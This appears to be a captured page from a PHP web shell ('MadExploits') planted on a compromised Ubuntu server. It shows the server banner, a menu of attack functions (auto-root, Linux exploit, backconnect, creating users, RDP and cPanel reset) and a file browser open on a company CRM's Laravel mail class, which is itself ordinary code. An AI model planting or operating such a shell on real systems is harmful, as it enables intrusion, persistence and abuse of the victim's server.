Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.158.36
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Mail /
[ HOME SHELL ]
Name
Size
Permission
Action
ThreadedEmail.php
1.84
KB
-rw-r--r--
TwoFactorCode.php
496
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ThreadedEmail.php
<?php // App\Mail\ThreadedEmail.php namespace App\Mail; use Illuminate\Bus\Queueable; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; use App\Models\Emails; class ThreadedEmail extends Mailable { use Queueable, SerializesModels; public $subjectLine; public $bodyContent; public $latestEmail; public $customHeaderId; // ADD THIS public function __construct($subjectLine, $bodyContent, $order_number, $latestEmail = null, $customHeaderId = null) { $this->subjectLine = $subjectLine; $this->bodyContent = $bodyContent; $this->order_number = $order_number; $this->latestEmail = $latestEmail; $this->customHeaderId = $customHeaderId; // SET THIS } public function build() { return $this->subject($this->subjectLine) ->html($this->bodyContent) ->withSwiftMessage(function ($message) { if ($this->latestEmail && $this->latestEmail->message_id) { $threadId = $this->latestEmail->thread_id ?? $this->latestEmail->message_id; $message->getHeaders()->addTextHeader('In-Reply-To', $this->latestEmail->message_id); $references = Emails::where('thread_id', $threadId) ->orderBy('date') ->pluck('message_id') ->filter() ->toArray(); if (!empty($references)) { $refs = implode(' ', $references); $message->getHeaders()->addTextHeader('References', $refs); } } // ADD THIS LINE if ($this->customHeaderId) { $message->getHeaders()->addTextHeader('X-Custom-ID', $this->customHeaderId); } }); } }
Close